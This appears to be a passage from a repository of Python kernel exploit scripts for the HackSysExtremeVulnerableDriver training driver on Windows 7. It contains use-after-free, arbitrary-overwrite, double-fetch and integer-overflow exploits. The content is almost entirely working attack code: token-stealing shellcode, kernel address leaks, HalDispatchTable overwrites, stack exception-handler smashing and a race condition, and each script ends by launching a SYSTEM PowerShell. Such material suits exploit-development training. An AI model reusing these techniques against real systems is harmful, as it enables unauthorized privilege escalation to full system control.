158 |         ioctl_UseUaFObject,
159 |         struct.pack('<L', 0xcafebabe),
160 |         4,
161 |         0,
162 |         0,
163 |         byref(bytes_retn),
164 |         0)
165 | 
166 | def call_FreeUaFObject():
167 |     '''
168 |     DeviceIoControl wrapper
169 |     '''
170 |     open_device()
171 |     bytes_retn = c_ulong(0)
172 |     
173 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
174 |     windll.kernel32.DeviceIoControl.restype = BOOL
175 |     
176 |     windll.kernel32.DeviceIoControl(
177 |         hFile,
178 |         ioctl_FreeUaFObject,
179 |         struct.pack('<L', 0xcafebabe),
180 |         4,
181 |         0,
182 |         0,
183 |         byref(bytes_retn),
184 |         0)
185 | 
186 | def call_AllocateFakeObject(data):
187 |     '''
188 |     DeviceIoControl wrapper
189 |     '''
190 |     open_device()
191 |     bytes_retn = c_ulong(0)
192 |     
193 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
194 |     windll.kernel32.DeviceIoControl.restype = BOOL
195 |     
196 |     windll.kernel32.DeviceIoControl(
197 |         hFile,
198 |         ioctl_AllocateFakeObject,
199 |         alloc_buffer(data),
200 |         len(data),
201 |         0,
202 |         0,
203 |         byref(bytes_retn),
204 |         0)
205 | 
206 | def groom_pool(n):
207 |     '''
208 |     groom nonpaged pool
209 |     '''
210 |     num_holes = n / 4
211 |     print '[+] Allocating 0x%x objects' % n
212 |     
213 |     windll.kernel32.CreatePipe.argtypes = [POINTER(HANDLE), POINTER(HANDLE), LPVOID, DWORD]
214 |     windll.kernel32.CreatePipe.restype = BOOL
215 |     
216 |     windll.kernel32.WriteFile.argtypes = [HANDLE, LPVOID, DWORD, POINTER(DWORD), LPVOID]
217 |     windll.kernel32.WriteFile.restype = BOOL
218 |     
219 |     buff_size = 0x70 - 0x48
220 | 
221 |     handles = []
222 |     for i in xrange(n):
223 |         rpipe  = HANDLE(0)
224 |         wpipe = HANDLE(0)
225 |         windll.kernel32.CreatePipe(
226 |             byref(rpipe),
227 |             byref(wpipe),
228 |             0,
229 |             buff_size)
230 |         
231 |         bytes_written = c_ulong(0)
232 |         windll.kernel32.WriteFile(
233 |             wpipe,
234 |             alloc_buffer('A' * buff_size),
235 |             buff_size,
236 |             byref(bytes_written),
237 |             0)
238 |         
239 |         if i > n - num_holes * 2:
240 |             handles.append((rpipe, wpipe))
241 | 
242 |     print '[+] Creating 0x%x holes' % num_holes
243 |     
244 |     # we need holes of size 0x70
245 |     for h in handles[::2]:
246 |         windll.kernel32.CloseHandle(h[0])
247 |         #windll.kernel32.CloseHandle(h[1])
248 | 
249 | def get_kernel_base():
250 |     '''
251 |     find base address of the kernel via EnumDeviceDrivers
252 |     '''
253 |     array = c_ulonglong * 0x400
254 |     addr = array()
255 |     
256 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
257 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
258 |     
259 |     res = windll.psapi.EnumDeviceDrivers(
260 |             cast(byref(addr), POINTER(LPVOID)),
261 |             sizeof(addr),
262 |             byref(c_ulong(0)))
263 |     if not res:
264 |         return None
265 |     
266 |     # Kernel is the first entry of the result
267 |     return addr[0]
268 | 
269 | def break_code():
270 |     import time
271 |     time.sleep(0.5)
272 |     windll.kernel32.DebugBreak()
273 | 
274 | def disclaimer():
275 |     print "[!] Lame UaF exploit. Try at your own risk."
276 |     print "[!] Hit Enter to proceed or ctrl-c to quit."
277 |     try:
278 |         raw_input()
279 |     except:
280 |         sys.exit(1)
281 | 
282 | if __name__ == '__main__':
283 |     disclaimer()
284 |     
285 |     break_code()
286 |     if not open_device():
287 |         sys.exit(1)
288 |     
289 |     #print '[+] Grooming Kernel Pool'
290 |     
291 |     # this code is for Win 7 x64
292 |     # on Win 10 we skip grooming
293 |     #groom_pool(0x20000)
294 |     
295 |     print '[+] Allocating UaF object'
296 |     
297 |     call_AllocateUaFObject()
298 |     
299 |     print '[+] Freeing UaF object'
300 |     
301 |     call_FreeUaFObject()
302 |     
303 |     base_addr = get_kernel_base()
304 |     if not base_addr:
305 |         print '[-] Failed to obtain Kernel base'
306 |         sys.exit(1)
307 |     print '[+] Kernel base address: 0x%016x' % base_addr
308 |     
309 |     shellcode_addr = alloc_buffer(shellcode())
310 |     if not shellcode_addr:
311 |         print '[-] Failed to allocate shellcode'
312 |         sys.exit(1)
313 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
314 |     
315 |     ropchain = build_ropchain(base_addr, shellcode_addr)
316 |     fake_obj = ropchain + 'A' * (0x58 - len(ropchain))
317 |     
318 |     print '[+] Allocating fake objects'
319 |     
320 |     for i in xrange(0x8000):
321 |         # cause memory leaks...
322 |         call_AllocateFakeObject(fake_obj)
323 |     
324 |     print '[+] Triggering fake callback func'
325 |     
326 |     call_UseUaFObject()
327 |     
328 |     # Got SYSTEM shell?
329 |     import os
330 |     os.system("powershell.exe")
331 |     


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/ArbitraryOverwrite_HAL_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 ArbitraryOverwrite exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\xc2\x10\x00'                     # ret     10h                         ; HalQuerySystemInformation takes 4 arguments
 28 | 
 29 | def get_kernel_base():
 30 |     '''
 31 |     find base address of the kernel via NtQuerySystemInformation
 32 |     '''
 33 |     size = c_uint(0)
 34 |     
 35 |     windll.ntdll.NtQuerySystemInformation(11,       # SystemModuleInformation
 36 |                                     0,
 37 |                                     0,
 38 |                                     byref(size))
 39 |     
 40 |     buff = create_string_buffer(size.value)
 41 |     res = windll.ntdll.NtQuerySystemInformation(11, # SystemModuleInformation
 42 |                                     buff,
 43 |                                     size,
 44 |                                     byref(size))
 45 |     if res:
 46 |         return None
 47 |     
 48 |     # Kernel is the first entry of the result
 49 |     image_base = struct.unpack('<L', buff[0x0C:0x10])[0]
 50 |     
 51 |     return image_base
 52 | 
 53 | def get_device_name(addr):
 54 |     '''
 55 |     find file name of kernel via GetDeviceDriverBaseNameA
 56 |     '''
 57 |     buff = create_string_buffer(0x400)
 58 |     
 59 |     res = windll.psapi.GetDeviceDriverBaseNameA(addr,
 60 |                                     buff,
 61 |                                     sizeof(buff))
 62 |     if res == 0:
 63 |         return None
 64 |     
 65 |     return buff[:res]
 66 | 
 67 | def read_dword(addr):
 68 |     '''
 69 |     read dword from addr abusing the vulnerability
 70 |     '''
 71 |     res = c_uint(0)
 72 |     obj = struct.pack('<L', addr) + \
 73 |           struct.pack('<L', addressof(res))
 74 |     
 75 |     ioctl_code = 0x22200B   # call ArbitraryOverwriteIoctlHandler
 76 |     windll.kernel32.DeviceIoControl(hFile,
 77 |                                     ioctl_code,
 78 |                                     obj,
 79 |                                     len(obj),
 80 |                                     0,
 81 |                                     0,
 82 |                                     byref(c_int(0)),
 83 |                                     0)
 84 |     return res.value
 85 | 
 86 | def write_dword(addr, value):
 87 |     '''
 88 |     write value to addr abusing the vulnerability
 89 |     '''
 90 |     val = c_uint(value)
 91 |     obj = struct.pack('<L', addressof(val)) + \
 92 |           struct.pack('<L', addr)
 93 |     
 94 |     ioctl_code = 0x22200B   # call ArbitraryOverwriteIoctlHandler
 95 |     windll.kernel32.DeviceIoControl(hFile,
 96 |                                     ioctl_code,
 97 |                                     obj,
 98 |                                     len(obj),
 99 |                                     0,
100 |                                     0,
101 |                                     byref(c_int(0)),
102 |                                     0)
103 | 
104 | hFile = windll.kernel32.CreateFileA(device_name,
105 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
106 |                                 0x00000001,     # FILE_SHARE_READ
107 |                                 0,              # NULL
108 |                                 3,              # OPEN_EXISTING
109 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
110 |                                 0)              # NULL
111 | 
112 | if hFile == -1:
113 |     print '[-] Failed to open device: %s' % device_name
114 |     sys.exit(1)
115 | print '[+] Device opened successfully: %s' % device_name
116 | 
117 | # 1. find HalDispatchTable
118 | base_addr = get_kernel_base()
119 | if not base_addr:
120 |     print '[-] Failed to obtain Kernel base'
121 |     sys.exit(1)
122 | print '[+] Kernel base address: 0x%08x' % base_addr
123 | 
124 | kernel_name = get_device_name(base_addr)
125 | if not kernel_name:
126 |     print '[+] Failed to obtain Kernel name'
127 |     sys.exit(1)
128 | print '[+] Kernel name: %s' % kernel_name
129 | 
130 | hModule = windll.kernel32.LoadLibraryA(kernel_name)
131 | if hModule == 0:
132 |     print '[-] Failed to load Kernel image: %s' % kernel_name
133 |     sys.exit(1)
134 | print '[+] Kernel image loaded: 0x%08x' % hModule
135 | 
136 | disp_table = windll.kernel32.GetProcAddress(hModule, 'HalDispatchTable')
137 | if disp_table == 0:
138 |     print '[-] Failed to find HalDispatchTable'
139 |     sys.exit(1)
140 | 
141 | # 2. patch HalQuerySystemInformation
142 | disp_table_kernel = base_addr - hModule + disp_table
143 | print '[+] HalDispatchTable is at: 0x%08x' % disp_table_kernel
144 | 
145 | print '[+] Patching pointer to HalQuerySystemInformation'
146 | 
147 | query_sysinfo = read_dword(disp_table_kernel + 4)
148 | print '[+] HalQuerySystemInformation: 0x%08x' % query_sysinfo
149 | 
150 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
151 |                                 len(shellcode),
152 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
153 |                                 0x40)           # PAGE_EXECUTE_READWRITE
154 | 
155 | if shellcode_buffer == 0:
156 |     print '[-] Failed to allocate shellcode'
157 |     sys.exit(1)
158 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
159 | 
160 | memmove(shellcode_buffer, shellcode, len(shellcode))
161 | 
162 | write_dword(disp_table_kernel + 4, shellcode_buffer)
163 | 
164 | # 3. call NtQueryIntervalProfile
165 | print '[+] Calling shellcode via NtQueryIntervalProfile'
166 | 
167 | interval = c_uint(0)
168 | windll.ntdll.NtQueryIntervalProfile(2,          # any value other than 0 or 1
169 |                                 byref(interval))
170 | 
171 | # 4. restore HalQuerySystemInformation
172 | print '[+] Restoring HalQuerySystemInformation'
173 | 
174 | write_dword(disp_table_kernel + 4, query_sysinfo)
175 | 
176 | # Got SYSTEM shell?
177 | import os
178 | os.system("powershell.exe")
179 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/ArbitraryOverwrite_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 ArbitraryOverwrite exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import os
  8 | import struct
  9 | from ctypes import *
 10 | 
 11 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 12 | 
 13 | def get_kernel_base():
 14 |     '''
 15 |     find base address of the kernel via EnumDeviceDrivers
 16 |     '''
 17 |     array = c_uint * 0x400
 18 |     addr = array()
 19 |     
 20 |     res = windll.psapi.EnumDeviceDrivers(byref(addr),
 21 |                                     sizeof(addr),
 22 |                                     byref(c_uint(0)))
 23 |     if not res:
 24 |         return None
 25 |     
 26 |     # Kernel is the first entry of the result
 27 |     return addr[0]
 28 | 
 29 | def get_device_name(addr):
 30 |     '''
 31 |     find file name of kernel via GetDeviceDriverBaseNameA
 32 |     '''
 33 |     buff = create_string_buffer(0x400)
 34 |     
 35 |     res = windll.psapi.GetDeviceDriverBaseNameA(addr,
 36 |                                     buff,
 37 |                                     sizeof(buff))
 38 |     if res == 0:
 39 |         return None
 40 |     
 41 |     return buff[:res]
 42 | 
 43 | def read_dword(addr):
 44 |     '''
 45 |     read dword from addr abusing the vulnerability
 46 |     '''
 47 |     res = c_uint(0)
 48 |     obj = struct.pack('<L', addr) + \
 49 |           struct.pack('<L', addressof(res))
 50 |     
 51 |     ioctl_code = 0x22200B   # call ArbitraryOverwriteIoctlHandler
 52 |     windll.kernel32.DeviceIoControl(hFile,
 53 |                                     ioctl_code,
 54 |                                     obj,
 55 |                                     len(obj),
 56 |                                     0,
 57 |                                     0,
 58 |                                     byref(c_int(0)),
 59 |                                     0)
 60 |     return res.value
 61 | 
 62 | def write_dword(addr, value):
 63 |     '''
 64 |     write value to addr abusing the vulnerability
 65 |     '''
 66 |     val = c_uint(value)
 67 |     obj = struct.pack('<L', addressof(val)) + \
 68 |           struct.pack('<L', addr)
 69 |     
 70 |     ioctl_code = 0x22200B   # call ArbitraryOverwriteIoctlHandler
 71 |     windll.kernel32.DeviceIoControl(hFile,
 72 |                                     ioctl_code,
 73 |                                     obj,
 74 |                                     len(obj),
 75 |                                     0,
 76 |                                     0,
 77 |                                     byref(c_int(0)),
 78 |                                     0)
 79 | 
 80 | hFile = windll.kernel32.CreateFileA(device_name,
 81 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 82 |                                 0x00000001,     # FILE_SHARE_READ
 83 |                                 0,              # NULL
 84 |                                 3,              # OPEN_EXISTING
 85 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 86 |                                 0)              # NULL
 87 | 
 88 | if hFile == -1:
 89 |     print '[-] Failed to open device: %s' % device_name
 90 |     sys.exit(1)
 91 | print '[+] Device opened successfully: %s' % device_name
 92 | 
 93 | # 1. find PsInitialSystemProcess
 94 | base_addr = get_kernel_base()
 95 | if not base_addr:
 96 |     print '[-] Failed to obtain Kernel base'
 97 |     sys.exit(1)
 98 | print '[+] Kernel base address: 0x%08x' % base_addr
 99 | 
100 | kernel_name = get_device_name(base_addr)
101 | if not kernel_name:
102 |     print '[+] Failed to obtain Kernel name'
103 |     sys.exit(1)
104 | print '[+] Kernel name: %s' % kernel_name
105 | 
106 | hModule = windll.kernel32.LoadLibraryA(kernel_name)
107 | if hModule == 0:
108 |     print '[-] Failed to load Kernel image: %s' % kernel_name
109 |     sys.exit(1)
110 | print '[+] Kernel image loaded: 0x%08x' % hModule
111 | 
112 | sys_proc = windll.kernel32.GetProcAddress(hModule, 'PsInitialSystemProcess')
113 | if sys_proc == 0:
114 |     print '[-] Failed to find PsInitialSystemProcess'
115 |     sys.exit(1)
116 | 
117 | # 2. steal token
118 | sys_proc_kernel = base_addr - hModule + sys_proc 
119 | print '[+] PsInitialSystemProcess is at: 0x%08x' % sys_proc_kernel
120 | 
121 | print '[+] Stealing SYSTEM token'
122 | 
123 | sys_eproc = read_dword(sys_proc_kernel)
124 | sys_pid = read_dword(sys_eproc + 0xB4)                  # 0xB4 = offset nt!_EPROCESS.UniqueProcessId
125 | sys_token = read_dword(sys_eproc + 0xF8)                # 0xF8 = offset nt!_EPROCESS.Token
126 | 
127 | print '[+] System\'s EPROCESS is at: 0x%08x' % sys_eproc
128 | print '[+] pid = %x, token = 0x%08x' % (sys_pid, sys_token)
129 | 
130 | # 3. find my own EPROCESS
131 | print '[+] Walking through ActiveProcessLinks list'
132 | 
133 | my_pid = os.getpid()
134 | eproc = sys_eproc
135 | while True:
136 |     eproc = read_dword(eproc + 0xB8) - 0xB8             # 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
137 |     pid = read_dword(eproc + 0xB4)                      # 0xB4 = offset nt!_EPROCESS.UniqueProcessId
138 |     if pid == my_pid:
139 |         print '[+] Found my EPROCESS: 0x%08x' % eproc
140 |         my_eproc = eproc
141 |         break
142 |     if pid == sys_pid:
143 |         print '[-] Couldn\'t find my EPROCESS'
144 |         sys.exit(1)
145 | 
146 | # 4. setting stolen token
147 | print '[+] Installing SYSTEM token'
148 | 
149 | write_dword(my_eproc + 0xF8, sys_token)                 # 0xF8 = offset nt!_EPROCESS.Token
150 | 
151 | # Got SYSTEM shell?
152 | import os
153 | os.system("powershell.exe")
154 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/DoubleFetch_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 DoubleFetch exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | import time
  9 | import threading
 10 | from ctypes import *
 11 | 
 12 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 13 | 
 14 | # assembled with WinDBG
 15 | shellcode = ''
 16 | shellcode += '\x60'                             # pushad
 17 | shellcode += '\x31\xc0'                         # xor     eax,eax
 18 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 19 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 20 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 21 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 22 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 23 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 24 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 25 | shellcode += '\x75\xed'                         # jne     $-17
 26 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 27 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 28 | shellcode += '\x61'                             # popad
 29 | shellcode += '\x31\xc0'                         # xor     eax,eax
 30 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 31 | shellcode += '\x8b\x80\x90\x01\x00\x00'         # mov     eax,dword ptr [eax+190h]    ; 0x190 = offset nt!_KTHREAD.StackBase
 32 | shellcode += '\x2d\x24\x05\x00\x00'             # sub     eax,524h
 33 | shellcode += '\x8b\xe0'                         # mov     esp,eax
 34 | shellcode += '\x58'                             # pop     eax
 35 | shellcode += '\xc7\x00\xbe\xba\xfe\xca'         # mov     dword ptr [eax],0CAFEBABEh  ; mark as exploited
 36 | shellcode += '\x5d'                             # pop     ebp                         ; restore ebp
 37 | shellcode += '\x8b\x7c\x24\x04'                 # mov     edi,dword ptr [esp+4]       ; restore edi
 38 | shellcode += '\x8b\x74\x24\x08'                 # mov     esi,dword ptr [esp+8]       ; restore esi
 39 | shellcode += '\x31\xc0'                         # xor     eax,eax
 40 | shellcode += '\xc2\x08\x00'                     # ret     8 -> returns to HEVD!IrpDeviceIoCtlHandler+0x161 
 41 | 
 42 | def worker(addr, value, evt):
 43 |     '''
 44 |     *(addr) = value until evt is set
 45 |     '''
 46 |     print '[+] Thread started: worker(0x%08x, 0x%08x, ...)' % (addr, value)
 47 |     
 48 |     while not evt.is_set():
 49 |         # better off using an atomic operation, but it works anyway
 50 |         memmove(addr, struct.pack('<L', value), 4)
 51 |     
 52 |     print '[+] Thread stopped: worker(0x%08x, 0x%08x, ...)' % (addr, value)
 53 |     
 54 |     return
 55 | 
 56 | hFile = windll.kernel32.CreateFileA(device_name,
 57 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 58 |                                 0x00000001,     # FILE_SHARE_READ
 59 |                                 0,              # NULL
 60 |                                 3,              # OPEN_EXISTING
 61 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 62 |                                 0)              # NULL
 63 | 
 64 | if hFile == -1:
 65 |     print '[-] Failed to open device: %s' % device_name
 66 |     sys.exit(1)
 67 | print '[+] Device opened successfully: %s' % device_name
 68 | 
 69 | # this might not be page-aligned
 70 | buff_ptr = windll.kernel32.VirtualAlloc(0,
 71 |                                 0x3000,
 72 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 73 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 74 | 
 75 | if buff_ptr == 0:
 76 |     print '[-] Failed to allocate buffer'
 77 |     sys.exit(1)
 78 | 
 79 | # get ptr to the first page
 80 | page_ptr = (buff_ptr + 0xfff) & 0xfffff000
 81 | print '[+] Address of the first page: 0x%08x' % page_ptr
 82 | 
 83 | # release (decommit) the second page
 84 | print '[+] Releasing the second page'
 85 | retval = windll.kernel32.VirtualFree(page_ptr + 0x1000,
 86 |                                 0x1000,
 87 |                                 0x4000)         # MEM_DECOMMIT
 88 | 
 89 | if retval == 0:
 90 |     print '[-] Failed to release the second page'
 91 |     sys.exit(1)
 92 | 
 93 | # smashing CPPEH_RECORD on the stack
 94 | payload = 'A' * 0x804
 95 | payload += 'BBBB'                               # CPPEH_RECORD.old_esp
 96 | payload += 'CCCC'                               # CPPEH_RECORD.exc_ptr
 97 | payload += 'DDDD'                               # CPPEH_RECORD.registration.Next
 98 | payload += struct.pack('<L', page_ptr)          # ExceptionHandler!
 99 | 
100 | padding = '\xcc' * (0x1000 - len(shellcode) - len(payload))
101 | 
102 | # +-----------+---------+---------+---------------------------------+
103 | # | shellcode | padding | payload |           unused page           |
104 | # +-----------+---------+---------+---------------------------------+
105 | memmove(page_ptr, shellcode + padding + payload, 0x1000)
106 | payload_ptr = page_ptr + 0x1000 - len(payload)
107 | 
108 | object = struct.pack('<L', payload_ptr) + \
109 |          struct.pack('<L', len(payload))        # DOUBLE_FETCH.Size
110 | object_buffer = create_string_buffer(object)
111 | 
112 | print '[+] Starting workers...'
113 | 
114 | # workers that modify DOUBLE_FETCH.Size
115 | e1 = threading.Event()
116 | e2 = threading.Event()
117 | t1 = threading.Thread(target=worker, args=(addressof(object_buffer) + 4, 0x800, e1))
118 | t2 = threading.Thread(target=worker, args=(addressof(object_buffer) + 4, len(payload) + 1, e2))
119 | t1.start()
120 | time.sleep(0.1)
121 | t2.start()
122 | time.sleep(0.1)
123 | 
124 | print '[+] Start racing with workers'
125 | 
126 | ioctl_code = 0x222037    # call DoubleFetchIoctlHandler
127 | while True:
128 |     windll.kernel32.DeviceIoControl(hFile,
129 |                                     ioctl_code,
130 |                                     object_buffer,
131 |                                     8,
132 |                                     0,
133 |                                     0,
134 |                                     byref(c_int(0)),
135 |                                     0)
136 |     
137 |     # exploit succeeded?
138 |     if object_buffer.raw[:4] == struct.pack('<L', 0xcafebabe):
139 |         print '[+] Stopping workers...'
140 |         
141 |         e1.set()
142 |         time.sleep(0.1)
143 |         e2.set()
144 |         time.sleep(0.1)
145 |         
146 |         # Got SYSTEM shell?
147 |         import os
148 |         os.system("powershell.exe")
149 |         
150 |         break
151 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/IntegerOverflow_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 IntegerOverflow exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\x31\xc0'                         # xor     eax,eax
 28 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 29 | shellcode += '\x8b\x80\x90\x01\x00\x00'         # mov     eax,dword ptr [eax+190h]    ; 0x190 = offset nt!_KTHREAD.StackBase
 30 | shellcode += '\x2d\x20\x05\x00\x00'             # sub     eax,520h
 31 | shellcode += '\x8b\xe0'                         # mov     esp,eax
 32 | shellcode += '\x5d'                             # pop     ebp                         ; restore ebp
 33 | shellcode += '\x8b\x7c\x24\x04'                 # mov     edi,dword ptr [esp+4]       ; restore edi
 34 | shellcode += '\x8b\x74\x24\x08'                 # mov     esi,dword ptr [esp+8]       ; restore esi
 35 | shellcode += '\x31\xc0'                         # xor     eax,eax
 36 | shellcode += '\xc2\x08\x00'                     # ret     8 -> returns to HEVD!IrpDeviceIoCtlHandler+0x1b5
 37 | 
 38 | hFile = windll.kernel32.CreateFileA(device_name,
 39 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 40 |                                 0x00000001,     # FILE_SHARE_READ
 41 |                                 0,              # NULL
 42 |                                 3,              # OPEN_EXISTING
 43 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 44 |                                 0)              # NULL
 45 | 
 46 | if hFile == -1:
 47 |     print '[-] Failed to open device: %s' % device_name
 48 |     sys.exit(1)
 49 | print '[+] Device opened successfully: %s' % device_name
 50 | 
 51 | # this might not be page-aligned
 52 | buff_ptr = windll.kernel32.VirtualAlloc(0,
 53 |                                 0x3000,
 54 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 55 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 56 | 
 57 | if buff_ptr == 0:
 58 |     print '[-] Failed to allocate buffer'
 59 |     sys.exit(1)
 60 | 
 61 | # get ptr to the first page
 62 | page_ptr = (buff_ptr + 0xfff) & 0xfffff000
 63 | print '[+] Address of the first page: 0x%08x' % page_ptr
 64 | 
 65 | # release (decommit) the second page
 66 | print '[+] Releasing the second page'
 67 | retval = windll.kernel32.VirtualFree(page_ptr + 0x1000,
 68 |                                 0x1000,
 69 |                                 0x4000)         # MEM_DECOMMIT
 70 | 
 71 | if retval == 0:
 72 |     print '[-] Failed to release the second page'
 73 |     sys.exit(1)
 74 | 
 75 | # smashing CPPEH_RECORD on the stack
 76 | payload = 'A' * 0x80C
 77 | payload += 'BBBB'                               # CPPEH_RECORD.old_esp
 78 | payload += 'CCCC'                               # CPPEH_RECORD.exc_ptr
 79 | payload += 'DDDD'                               # CPPEH_RECORD.registration.Next
 80 | payload += struct.pack('<L', page_ptr)          # ExceptionHandler!
 81 | 
 82 | padding = '\xcc' * (0x1000 - len(shellcode) - len(payload))
 83 | 
 84 | # +-----------+---------+---------+---------------------------------+
 85 | # | shellcode | padding | payload |           unused page           |
 86 | # +-----------+---------+---------+---------------------------------+
 87 | memmove(page_ptr, shellcode + padding + payload, 0x1000)
 88 | payload_ptr = page_ptr + 0x1000 - len(payload)
 89 | 
 90 | print '[+] Triggering integer overflow'
 91 | 
 92 | ioctl_code = 0x222027   # call IntegerOverflowIoctlHandler
 93 | windll.kernel32.DeviceIoControl(hFile,
 94 |                                 ioctl_code,
 95 |                                 payload_ptr,
 96 |                                 0xFFFFFFFF,     # 0xFFFFFFFF + 4 = 3
 97 |                                 0,
 98 |                                 0,
 99 |                                 byref(c_int(0)),
100 |                                 0)
101 | 
102 | # Got SYSTEM shell?
103 | import os
104 | os.system("powershell.exe")
105 | 


--------------------------------------------------------------------------------
